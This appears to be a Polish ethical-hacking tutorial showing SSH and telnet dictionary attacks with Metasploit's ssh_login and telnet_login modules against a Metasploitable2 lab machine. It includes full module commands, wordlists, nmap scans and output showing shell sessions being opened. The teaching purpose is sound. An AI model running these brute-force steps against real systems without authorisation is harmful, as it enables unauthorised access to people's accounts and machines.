Prezentowany artykuł dotyczyć będzie sposobów na uzyskanie dostępu do urządzenia, wykorzystując Metasploit oraz słowniki. Wiele spraw teoretycznych zostało omówionych w poprzednim materiale , dlatego teraz skupimy się nad bardziej praktycznymi rozwiązaniami.
 

Pisząc ten artykuł, postawiłem sobie za cel pokazanie, w jaki sposób złamać login i hasło mając możliwość zdalnego połączenia się z urządzeniem. Wszelkie testy przeprowadzę na dystrybucji Metasploitable2.

OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

OpenSSH pozwala na zdalne połączenie z urządzeniem oraz zarządzanie nim przy pomocy usługi SSH. My do tego celu wybierzemy poznany w części pierwszej program Metasploit. Przyznam, że nie jest to taki typowy exploit, jaki omawiałem w poprzednim artykule. Dlatego zobaczymy, na czym polega różnica i w jaki inny sposób możemy go wykorzystać.
 

Słownik

Atak, który chcę zaprezentować wykorzystuje słownik. Wraz z instalacją metasploit otrzymujemy kilka słowników. Wymienione słowniki znajdują się w katalogu:

/usr/share/metasploit-framework/data/wordlists/
 

Przyznaje, że ataki słownikowe nigdy nie należały do moich ulubionych. Przeprowadzenie takiego ataku wymaga dużej ilości czasu. Po kilku godzinach łamania hasła i tak nie mamy pewności, czy ów słownik znajdzie nam poszukiwany login i hasło. Niezależnie od tego czy lubię czy nie lubię warto wiedzieć jak to się robi. Czasami zdarza się skorzystać z tej metody.
 

W sieci istnieje bardzo dużo gotowych słowników, z których możesz korzystać. W dystrybucji Kali Linux, znajduje się wiele więcej takich gotowców. Natomiast jeśli czytałeś rozdział mojej książki „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN” o sieciach WPA2, to wiesz, że jesteś w stanie wygenerować i użyć własny słownik.
 

W rzeczywistości łamanie haseł polega na tak zwanym chybił trafił. Jeśli trafisz na taki z użytym hasłem i/lub loginem lub taki stworzyć, to uda Ci się przejść dalej. Jeżeli nie to zmarnujesz czas. Ja nie będę marnował Twojego, dlatego na końcu wybranego przeze mnie słownika dodałem login i hasło. Ty zrób tak samo, edytując plik:

nano -w /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
 

Pamiętaj o tym, że plik musi być edytowany jako użytkownik z odpowiednimi uprawnieniami. Dlatego na początku polecenia znajduje się sudo. Na samym końcu pliku wpisz msfadmin msfadmin.
 

Jeżeli dokładniej przyjrzysz się zawartości słownika, zauważysz, że korzysta on z różnych haseł, ale jako nazwa konta zawsze jest root. Ma to większy sens, bo konto użytkownika z wszystkimi uprawnieniami w Linuksie to właśnie root.
 

Bez podania hasła na samym końcu słownika taka próba mogłaby zająć nawet kilka dni. Dlatego, że dopiero się uczysz, zrób tak, jak Ci radzę i na końcu dodaj login i hasło, które znasz. Po edycji zapisujemy zmiany, wykorzystując kombinację klawiszy CTRL+O i wciskamy ENTER.
 

Odpowiedni typ

Słownik już przygotowaliśmy, dlatego teraz nadeszła pora na uruchomienie Metasploit. W ramach przypomnienia robimy to w następujący sposób:

sudo msfconsole

lub

msfconsole

jeśli korzystasz z konta root.
 

Następnie, należy wybrać odpowiednie narzędzie, które posłuży do celu jaki sobie wyznaczyliśmy. Tym razem nie korzystamy z exploita tylko chcemy podjąć się próby złamania hasła. Do tego celu korzystamy z opcji:

use auxiliary/scanner/ssh/ssh_login
 

W następnej kolejności należy sprawdzić, jakie mamy opcje do ustawienia:

show options
 

Pojawi się:

Module options (auxiliary/scanner/ssh/ssh_login):

 

   Name              Current Setting  Required  Description

   ----              ---------------  --------  -----------

   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password

   BLANK_PASSWORDS   false            no        Try blank passwords for all users

   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5

   CreateSession     true             no        Create a new session for every successful login

   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database

   DB_ALL_PASS       false            no        Add all passwords in the current database to the list

   DB_ALL_USERS      false            no        Add all users in the current database to the list

   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)

   PASSWORD                           no        A specific password to authenticate with

   PASS_FILE                          no        File containing passwords, one per line

   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo

                                                it.html

   RPORT             22               yes       The target port

   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host

   THREADS           1                yes       The number of concurrent threads (max one per host)

   USERNAME                           no        A specific username to authenticate as

   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line

   USER_AS_PASS      false            no        Try the username as the password for all users

   USER_FILE                          no        File containing usernames, one per line

   VERBOSE           false            yes       Whether to print output for all attempts

 

View the full module info with the info, or info -d command.
 

Pierwsze ustawienie, jakim musimy się zająć, dotyczy adresu ip naszego celu. Robimy to w ten sam sposób, co we wcześniejszym artykule:

set RHOSTS 10.0.2.20
 

Przypomnę tylko, że pod wpisanym adresem ip znajduje się maszyna wirtualna Metasploitable2. Następnie należy ustawić ścieżkę, pod jaką znajduje się słownik. Robimy to w następujący sposób:

set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
 

Pozostaje jedynie sprawdzić, czy RPORT jest taki sam, jak wskazał nmap i w razie błędu zmienić go.
 

nmap -sS -sV 10.0.2.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-27 20:37 CEST

Nmap scan report for 10.0.2.20

Host is up (0.0096s latency).

Not shown: 977 closed tcp ports (reset)

PORT     STATE SERVICE     VERSION

….

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

MAC Address: 08:00:27:C1:10:EE (Oracle VirtualBox virtual NIC)

Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds
 

Teraz zweryfikujmy, czy wszystkie wprowadzone ustawienia zostały zapisane:

show options
 

Jeżeli wszystko się zgadza, pozostaje tylko wpisać polecenie:

run
 

Teraz należy zaczekać na wynik. Po dłuższej chwili powinniśmy otrzymać:

[*] 10.0.2.20:22 - Starting bruteforce

[+] 10.0.2.20:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '

[*] SSH session 1 opened (10.0.2.10:44805 -> 10.0.2.20:22) at 2026-05-27 20:40:24 +0200

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
 

Jeżeli zgodnie z moim zaleceniem dodałeś do słownika login i hasło, powinieneś otrzymać podobny wynik do powyższego przykładu. Otrzymaliśmy informację o powodzeniu oraz o tym, że sesja została otwarta i nosi nazwę session 1. Kolejnym krokiem jest połączenie się z wygenerowaną sesją. Robimy to za pomocą polecenia:

sessions -i 1
 

Po wciśnięciu ENTER otworzymy sesję, w której będziemy połączeni z naszym celem. Aby to sprawdzić wpisujemy:

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 

W ten sposób upewniliśmy się, że nawiązaliśmy połączenie z odpowiednim urządzeniem. Do złamania hasła można posłużyć się różnymi programami jak na przykład Hydra. Natomiast wolałem skorzystać z wbudowanego sposobu tak abyś lepiej poznał Metasploit.
 

Linux telnetd

Prezentowany w tej części artykułu sposób jest prawie identyczny, jak poprzedni. Różnica polega na tym, że do złamania hasła użyjemy Metasploita, natomiast do połączenia z urządzeniem użyjemy oprogramowania telnet oraz tego, z którego korzystaliśmy przed chwilą.
 

Połączenie telnet

Nim przejdziemy do samego łamania hasła, chciałbym abyś spróbował połączyć się z urządzeniem. Do tego celu użyjemy polecenia:

telnet 10.0.2.20
 

Po wciśnięciu ENTER otrzymamy możliwość logowania do „dystrybucji” Metasploitable, tak jakbyśmy go właśnie uruchomili. Aby upewnić się, że tak jest, zaloguj się do urządzenia wpisując znany Ci login i hasło msfadmin. Po wprowadzeniu loginu i hasła zalogujesz się do konsoli. Aby mieć 100% pewność, wpisz poznane wcześniej polecenie:

uname -a
 

Powinieneś otrzymać jako odpowiedź:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 

Mało skomplikowane, ale aby móc dostać się do środka musisz znać login i hasło. Teraz zajmiemy się zdobywaniem loginu oraz hasła dlatego, wyloguj się z sesji wpisz za pomocą polecenia exit.
 

Zdobywanie loginu i hasła

Jak w poprzednim przykładzie, aby zdobyć login i hasło, możemy skorzystać z bardzo dużej ilości programów. Ja w tym wypadku wykorzystam wbudowane rozwiązanie w oprogramowanie Metasploit. Tak jak robiliśmy to ostatnio, musimy wybrać odpowiedni moduł. Tym razem wykorzystamy:

use auxiliary/scanner/telnet/telnet_login
 

Jest to bardzo zbliżone do rozwiązania z poprzedniego przykładu z tą różnicą, że korzystamy z rozwiązania telnet. Sama różnica występuje w słownikach. Wcześniej wykorzystywaliśmy jeden słownik, natomiast teraz wykorzystamy dwa. Jeden będzie zawierał loginy, drugi hasła. Sposób działania tego rozwiązania polega na tym, że pobierany jest login z pliku pierwszego, następnie do niego sprawdzane jest każde hasło z drugiego pliku. Jeżeli zadanie nie kończy się powodzeniem, program pobiera drugi login i ponownie sprawdza wszystkie hasła.
 

W związku z powyższym musimy stworzyć dwa pliki. Utwórzmy takie w naszym katalogu głównym home. Czyli otwórzmy lub podzielmy naszą konsolę i wpiszmy:

touch hasla.txt

touch loginy.txt
 

Stworzyliśmy dwa pliki, ale są one puste. Nim przejdziemy do wpisania zawartości, chciałbym abyś zapamiętał, że gdy tworzysz plik nigdy nie powinieneś używać polskich znaków w jego nazwie. Specjalnie w nazwie pierwszego pliku nie użyłem litery „ł”, tylko zapisałem hasla i Ty pamiętaj, aby zawsze tak robić. Czasami może się zdarzyć, że nie każdy program dobrze zinterpretuje nasze polskie znaki.
 

Teraz możemy już dodać do zawartości pliku hasła:

root

!root

Cisco

NeXT

QNX

admin

attack

ax400

bagabu

msfadmin
 

Natomiast w przypadku pliku loginy.txt wprowadź i zapisz:

root

boot

loot

hoot

msfadmin
 

Słowniki zostały specjalnie wymyślone z małą zawartością danych. Ich zadaniem jest zobrazowanie , jak wykonać taki atak. Na samym końcu wpisałem prawidłowy login i hasło. Gdy już stworzyliśmy słowniki, nadszedł czas, aby ustawić je w module. Nim jednak do tego przejdziemy, warto zapoznać się z dostępnymi opcjami:

show options

Module options (auxiliary/scanner/telnet/telnet_login):

 

   Name              Current Setting  Required  Description

   ----              ---------------  --------  -----------

   ANONYMOUS_LOGIN   false            yes       Attempt to login with a blank username and password

   BLANK_PASSWORDS   false            no        Try blank passwords for all users

   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5

   CreateSession     true             no        Create a new session for every successful login

   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database

   DB_ALL_PASS       false            no        Add all passwords in the current database to the list

   DB_ALL_USERS      false            no        Add all users in the current database to the list

   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted: none, us

                                                er, user&realm)

   PASSWORD                           no        A specific password to authenticate with

   PASS_FILE                          no        File containing passwords, one per line

   RHOSTS                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba

                                                sics/using-metasploit.html

   RPORT             23               yes       The target port (TCP)

   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host

   THREADS           1                yes       The number of concurrent threads (max one per host)

   USERNAME                           no        A specific username to authenticate as

   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line

   USER_AS_PASS      false            no        Try the username as the password for all users

   USER_FILE                          no        File containing usernames, one per line

   VERBOSE           true             yes       Whether to print output for all attempts
 

Jak w poprzednim przypadku pierwszą czynnością, jaką należy wykonać, jest ustawienie adresu IP naszego celu. Robimy to za pomocą:

set RHOSTS 10.0.2.20
 

Sprawdzamy również, czy został wybrany właściwy port i w razie czego, zmieniamy go.

nmap -sS -sV 10.0.2.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-27 22:03 CEST

Nmap scan report for 10.0.2.20

Host is up (0.0017s latency).

Not shown: 977 closed tcp ports (reset)

PORT     STATE SERVICE     VERSION

…..

23/tcp   open  telnet      Linux telnetd

….

Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.37 seconds
 

Następnie należy ustawić stworzone przez nas słowniki. Zgodnie z opisem na wyświetlonej powyżej liście musimy zrobić to w następujący sposób:

set PASS_FILE /home/kgodzisz/hasla.txt

set USER_FILE /home/kgodzisz/loginy.txt
 

Jeżeli stworzyłeś pliki z hasłami w identyczny sposób jak ja, to ścieżka do nich powinna być taka sama. Jednak na pewno różni się nazwa konta. W przypadku gdy zrobiłeś inaczej, podaj ścieżkę do miejsca, w którym je zapisałeś. Teraz pozostaje wpisać polecenie i wcisnąć ENTER:

run
 

Po jakimś czasie powinniśmy otrzymać odpowiedź:

[+] 10.0.2.20:23          - 10.0.2.20:23 - Login Successful: msfadmin:msfadmin

[*] 10.0.2.20:23          - Attempting to start session 10.0.2.20:23 with msfadmin:msfadmin

[*] Command shell session 1 opened (10.0.2.10:33121 -> 10.0.2.20:23) at 2026-05-27 22:13:23 +0200

[*] 10.0.2.20:23          - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
 

Czyli odnalazło login i hasło.
 

Chciałbym jeszcze dopowiedzieć, że jedną z przydatnych opcji jest USER_AS_PASS. Jeżeli ustawimy jej wartość na True wykorzysta ten sam słownik zarówno do loginów jak i haseł.
 

Teraz mamy dwa sposoby połączenia z urządzeniem. Pierwszy z nich poznaliśmy na początku tego materiału z wykorzystaniem zewnętrznego narzędzia telnet. Drugi też już znasz. Łączyliśmy się w ten sposób przy OpenSSH:

sessions -i 1
 

Dzięki temu rozwiązaniu automatycznie zalogujemy się do urządzenia.
 

Wyszukiwanie w Metasploit

Przyznam, że słownikowych ataków, jakie możemy przeprowadzić na Metasploitable, jest jeszcze kilka. Pierwotnie chciałem opisać je wszystkie, ale w trakcie doszedłem do wniosku, że odebrałbym Ci przyjemność zrobienia tego samemu. Po dwóch powyższych przykładach można zauważyć, że jest to bardzo zbliżony proces, polegający na czytaniu opisów po wpisaniu polecenia show options.
 

Rozmawialiśmy wcześniej o tym, że aby odnaleźć sposób na lukę w systemie/dystrybucji, pierwsze co należy zrobić, to skorzystać z wyszukiwarki. Uważam, że jest to bardzo przydatna umiejętność i musisz się nią bardzo często posługiwać.
 

W tej części artykułu zajmiemy się sposobami wyszukiwania bez wykorzystywania wyszukiwarek internetowych, tylko wyszukiwać będziemy w samym programie. Na pierwszy rzut oka może się to wydawać nie za bardzo czytelne, ale po czasie odkryjesz uroki tej metody.
 

Poznaliśmy sposoby złamania hasła do usługi Linux telnetd. Co możemy zrobić, gdy okazuje się, że odnaleziony przez nas sposób nie zadziała? Odpowiedź jest oczywista, poszukać innego rozwiązania, dlatego w programie należy wpisać:

search telnet
 

W ten oto sposób wyświetli się lista wszelkich możliwości, jakie mają związek z telnetem. Dość spora lista, ale po delikatnej analizie możemy wykluczyć te, dotyczące systemu Windows, a na samym początku rozpocząć od tych, które mają w swojej nazwie telnet. Jeżeli wiemy, jakiego typu jest to luka, możemy zmniejszyć ilość wyświetlonych możliwości.
 

Nie wiem, czy zwróciłeś uwagę, po uruchomieniu programu pojawia się informacja:

       =[ metasploit v6.4.64-dev                          ]

+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post       ]

+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]

+ -- --=[ 9 evasion                                       ]
 

We wcześniejszych dwóch przykładach korzystaliśmy z usług auxiliary, które obsługują ataki słownikowe. Natomiast istnieją jeszcze inne typy ataków. Przykładowo we wcześniejszym rozdziale przy vsftpd 2.3.4 korzystaliśmy z exploita. W związku z pogrupowaniem tych możliwości, jeżeli wiemy, jaki typ ataku chcemy, przeprowadzić możemy zawęzić poszukiwania, korzystając z polecenia:

search type:auxiliary telnet
 

W ten sposób zawężamy zakres poszukiwań na dzień dzisiejszy z 42 pozycji do 15. Jednak to jeszcze nie wszystko. Jeśli uważnie przyjrzałeś się wyświetlonym wynikom, na samym dole każdej z list znajdowała się informacja „Interact with a module by name or index. For example info 80, use 80 or use post/windows/gather/credentials/mremote”. Dzięki tej informacji dowiadujemy się, że wcale nie musimy korzystać z nazwy, możemy też zrobić to samo, wpisując liczbę znajdującą się przy danej pozycji.
 

Podsumowanie

Ataki, które zaprezentowałem, nie należą do moich ulubionych. We wszelkich próbach uzyskania dostępu mogą jednak mieć spore znaczenie gdy dostęp został zabezpieczony za pomocą słabego hasła. Dzięki temu jesteśmy w stanie złamać hasło za pomocą słowników, nawet tych wbudowanych. Oczywiście istnieją bardziej zaawansowane sposoby tworzenia takich słowników, które mogłeś poznać  w rozdziale poświęconym narzędziu crunch mojej książki Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN. Dlatego masz naprawdę bardzo szerokie zaplecze możliwości.